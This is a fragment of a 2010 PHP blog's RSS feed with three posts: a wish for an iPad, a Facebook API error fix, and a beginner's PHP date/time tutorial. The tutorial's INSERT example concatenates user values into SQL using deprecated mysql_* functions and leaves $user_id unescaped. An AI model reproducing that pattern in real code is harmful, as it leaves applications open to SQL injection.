			<wfw:commentRss>http://blog.code-head.com/i-want-an-ipad-not/feed</wfw:commentRss>
		</item>
		<item>
		<title>I Want An iPad</title>
		<link>http://blog.code-head.com/i-want-an-ipad</link>
		<comments>http://blog.code-head.com/i-want-an-ipad#comments</comments>
		<pubDate>Thu, 28 Jan 2010 18:59:47 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Fun]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Operating Systems]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=776</guid>
		<description><![CDATA[I&#8217;m not an apple customer, I&#8217;ve been thinking about switching to Mac for a while but that requires Mac based software for our work so I&#8217;m not ready yet.
But seeing Steve Jobs introduce the iPad, we&#8217;ve decided we each want one!
I love everything about this device, I don&#8217;t know who will buy a Netbook or [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m not an apple customer, I&#8217;ve been thinking about switching to Mac for a while but that requires Mac based software for our work so I&#8217;m not ready yet.</p>
<p>But seeing Steve Jobs introduce the iPad, we&#8217;ve decided we each want one!</p>
<p>I love everything about this device, I don&#8217;t know who will buy a Netbook or a Kindle, or at least I wouldn&#8217;t&#8230;</p>
<p>There are some things that I like to see on this device, one is a complete Mac-like OS (rather than iPhone) although I know it&#8217;s OS 10 already but it would be really nice to have that. The other thing is a camera but I will buy one regardless of these features.</p>
<p>The only thing that disappoints me about this device is that, I have to wait 2-3 months for it to come out, I will write more as soon as I have it.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/i-want-an-ipad/feed</wfw:commentRss>
		</item>
		<item>
		<title>Fatal error: Call to undefined method FacebookRestClient::users_isAppAdded() - Updating An Old Facebook Application</title>
		<link>http://blog.code-head.com/updating-an-old-facebook-application-fatal-error-call-to-undefined-method-facebookrestclientusers_isappadded</link>
		<comments>http://blog.code-head.com/updating-an-old-facebook-application-fatal-error-call-to-undefined-method-facebookrestclientusers_isappadded#comments</comments>
		<pubDate>Mon, 25 Jan 2010 20:54:57 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=772</guid>
		<description><![CDATA[If you get this error message after updating your Facebook library files:
Fatal error: Call to undefined method FacebookRestClient::users_isAppAdded()
Try changing this code:

&#60;?php
/* ... */
       try &#123;
	  if &#40;!$facebook-&#62;api_client-&#62;users_isAppAdded&#40;&#41;&#41; &#123;
	  		$facebook-&#62;redirect&#40;$facebook-&#62;get_add_url&#40;&#41;&#41;;
	  &#125;
	&#125; catch &#40;Exception $ex&#41; &#123;
	  //this will clear cookies for your application and redirect them to [...]]]></description>
			<content:encoded><![CDATA[<p>If you get this error message after updating your Facebook library files:</p>
<p><strong>Fatal error: Call to undefined method FacebookRestClient::users_isAppAdded()</strong></p>
<p>Try changing this code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">/* ... */</span>
       try <span style="color: #009900;">&#123;</span>
	  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">api_client</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">users_isAppAdded</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	  		<span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">redirect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_add_url</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span> catch <span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$ex</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	  <span style="color: #666666; font-style: italic;">//this will clear cookies for your application and redirect them to a login prompt</span>
	  <span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_user</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">redirect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$appcallbackurl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">/* ... */</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>With this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">/* ... */</span>
       try <span style="color: #009900;">&#123;</span>
	  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">api_client</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">users_isAppUser</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	  		<span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">redirect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_add_url</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span> catch <span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$ex</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	  <span style="color: #666666; font-style: italic;">//this will clear cookies for your application and redirect them to a login prompt</span>
	  <span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_user</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #000088;">$facebook</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">redirect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$appcallbackurl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">/* ... */</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Use this at your own risk, it seems to fix the problem and I&#8217;m hoping it won&#8217;t introduce bugs in other places&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/updating-an-old-facebook-application-fatal-error-call-to-undefined-method-facebookrestclientusers_isappadded/feed</wfw:commentRss>
		</item>
		<item>
		<title>PHP Date/Time Handling Made Easy; a beginner&#8217;s guide to PHP time and date handling</title>
		<link>http://blog.code-head.com/php-date-time-handling-made-easy-a-beginners-guide-to-php-time-and-date-handling</link>
		<comments>http://blog.code-head.com/php-date-time-handling-made-easy-a-beginners-guide-to-php-time-and-date-handling#comments</comments>
		<pubDate>Sun, 24 Jan 2010 23:04:20 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Server Performance]]></category>

		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=768</guid>
		<description><![CDATA[When I started with PHP, I was a bit confused about this subject so this will hopefully help a beginner a lot.
UNIX Timestamp
UNIX Timestamp (or Unix time or POSIX time) is the number of seconds since the midnight of January 1, 1970 UTC.
You can get the current timestamp with PHP&#8217;s time() function:

&#60;?php
	echo time&#40;&#41;;
?&#62;

This will show [...]]]></description>
			<content:encoded><![CDATA[<p>When I started with PHP, I was a bit confused about this subject so this will hopefully help a beginner a lot.</p>
<p><strong>UNIX Timestamp</strong></p>
<p>UNIX Timestamp (or Unix time or POSIX time) is the number of seconds since the midnight of January 1, 1970 UTC.</p>
<p>You can get the current timestamp with PHP&#8217;s time() function:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>This will show you the number of seconds since January 1, 1970 UTC.</p>
<p>Assume that you are creating a blogging application using PHP and you want to save the time/date of the posts<br />
with them, in your database, you can create a table like this:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> <span style="color: #993333; font-weight: bold;">IF</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">EXISTS</span> <span style="color: #ff0000;">`post`</span> <span style="color: #66cc66;">&#40;</span>
  <span style="color: #ff0000;">`id`</span> int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">UNSIGNED</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`user_id`</span> int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">UNSIGNED</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">DEFAULT</span> <span style="color: #ff0000;">'0'</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`title`</span> varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">250</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">DEFAULT</span> <span style="color: #ff0000;">''</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`body`</span> text <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">DEFAULT</span> <span style="color: #ff0000;">''</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`ip_address`</span> varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">30</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">DEFAULT</span> <span style="color: #ff0000;">''</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`date`</span> int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">11</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">DEFAULT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`last_update`</span> int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">11</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">DEFAULT</span> <span style="color: #ff0000;">'0'</span><span style="color: #66cc66;">,</span>
  <span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span>  <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">`id`</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
  <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #ff0000;">`date`</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">`date`</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
  <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #ff0000;">`last_update`</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">`last_update`</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>;</pre></div></div>

<p>Now, a query to insert a blog post will look something like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'
	INSERT INTO post
		(
			user_id,
			title,
			body,
			ip_address,
			date,
			last_update
		)
	VALUES
		(
			'</span> <span style="color: #339933;">.</span><span style="color: #000088;">$user_id</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">',
			'</span> <span style="color: #339933;">.</span><span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">',
			'</span> <span style="color: #339933;">.</span><span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'body'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">',
			'</span> <span style="color: #339933;">.</span><span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REMOTE_ADDR'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">',
			'</span> <span style="color: #339933;">.</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">',
			'</span> <span style="color: #339933;">.</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">'
		)
'</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>(I left our details about filtering $_POST array out of this, you might want to filter the $_POST array a bit)</p>
<p>This way the query to get all the posts, sorted by date would look like:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> 
<span style="color: #993333; font-weight: bold;">FROM</span> post
<span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> date <span style="color: #993333; font-weight: bold;">DESC</span></pre></div></div>

<p>A query to get all the posts from last 24 hours would look like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$start_date</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">60</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">60</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;
   SELECT * 
   FROM post
   WHERE date &gt;= <span style="color: #006699; font-weight: bold;">$start_date</span>
   ORDER BY date DESC
&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">/* ... */</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><strong>A Performance Tip</strong></p>
<p>If you don&#8217;t pay attention, you will end up with 100s of calls to time() throughout your application and we<br />
know that function calls have overhead so what do you do?</p>
<p>We can call time only ONCE and save the results in a constant which will be global also, just like the time()<br />
function:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'TIME_NOW'</span><span style="color: #339933;">,</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><strong>Converting UNIX Time To Readable Time</strong></p>
<p>How do we show what time it is? That is in a format like: Mon, 15 Aug 2005 15:12:46</p>
<p>There is another useful function in PHP for this purpose and that is the date() function.</p>
<p>First you must set a default system timezone, it&#8217;s very simple, way on top of your scripts, (in your main include<br />
fine perhaps) call this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	date_default_timezone_set<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'EST'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Don&#8217;t worry if you don&#8217;t understand what&#8217;s happening, this might help clear out a bit of the confusion:<br />
<a href="http://www.php.net/manual/en/function.date-default-timezone-set.php" target="_blank">http://www.php.net/manual/en/function.date-default-timezone-set.php</a></p>
<p>Again, read on and just add the line above on top of your script&#8230;</p>
<p>Now back to business, here is a simple call to the date() function:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'D/M/Y'</span><span style="color: #339933;">,</span> TIME_NOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* TIME_NOW was explained earlier in this same post */</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>This will show you something like:</p>
<p>Sun/Jan/2010</p>
<p>You can see that the first argument is a format in which you want the date to be, shown and the second argument is the timestamp of the date, if you don&#8217;t provide the second argument, the current timestamp will be used.</p>
<p>Here is another example that shows the time also:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'D/M/Y h:i:s A'</span><span style="color: #339933;">,</span> TIME_NOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* TIME_NOW was explained earlier in this same post */</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Output:</p>
<p>Sun/Jan/2010 03:12:46 PM</p>
<p>These are some more examples: (taken from <a href="http://php.net/manual/en/function.date.php" target="_blank">here</a>)</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">// set the default timezone to use. Available since PHP 5.1</span>
date_default_timezone_set<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UTC'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #666666; font-style: italic;">// Prints something like: Monday</span>
<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;l&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Prints something like: Monday 8th of August 2005 03:12:46 PM</span>
<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'l jS \of F Y h:i:s A'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>I suggest that you read this page:</p>
<p><a href="http://php.net/manual/en/function.date.php" target="_blank">http://php.net/manual/en/function.date.php</a></p>
<p><strong>Tip For Using The date() Function</strong></p>
<p>You shouldn&#8217;t have lines like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'D/M/Y h:i:s A'</span><span style="color: #339933;">,</span> TIME_NOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* TIME_NOW was explained earlier in this same post */</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>All over your code, why?</p>
<p>Because if you decide to change the way you show date, then you have to go around and edit all the lines containing:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'D/M/Y h:i:s A'</span><span style="color: #339933;">,</span> TIME_NOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* TIME_NOW was explained earlier in this same post */</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>To fix this, you could have a constant containing your date format string like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DATE_FORMAT'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'D/M/Y h:i:s A'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Then in your code, you do this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span>DATE_FORMAT<span style="color: #339933;">,</span> TIME_NOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Now if you want to change the format of the date throughout your PHP application, you can just edit the line with:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DATE_FORMAT'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'D/M/Y h:i:s A'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>And it will magically change all of them!</p>
<p>Better yet, I would have a function like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">function</span> display_date<span style="color: #009900;">&#40;</span><span style="color: #000088;">$timestamp</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">echo</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'D/M/Y h:i:s A'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$timestamp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Or even better yet, you could have the function return the string as a value, so you have even greater control:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">function</span> get_date_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$timestamp</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'D/M/Y h:i:s A'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$timestamp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Then call it like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> get_date_string<span style="color: #009900;">&#40;</span>TIME_NOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><strong>The Pain Of Finding Out The Timestamp From A Formatted Date String</strong></p>
<p>I made the pain part up, fortunately there is a function that does this very easily, it is strtotime()</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'9/25/2010 02:28:30 PM'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>And bam! magically, you will get the timestamp, it doesn&#8217;t end there, you can do things like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'today'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'today + 1 day'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;now&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;10 September 2000&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;+1 day&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;+1 week&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;+1 week 2 days 4 hours 2 seconds&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;next Thursday&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
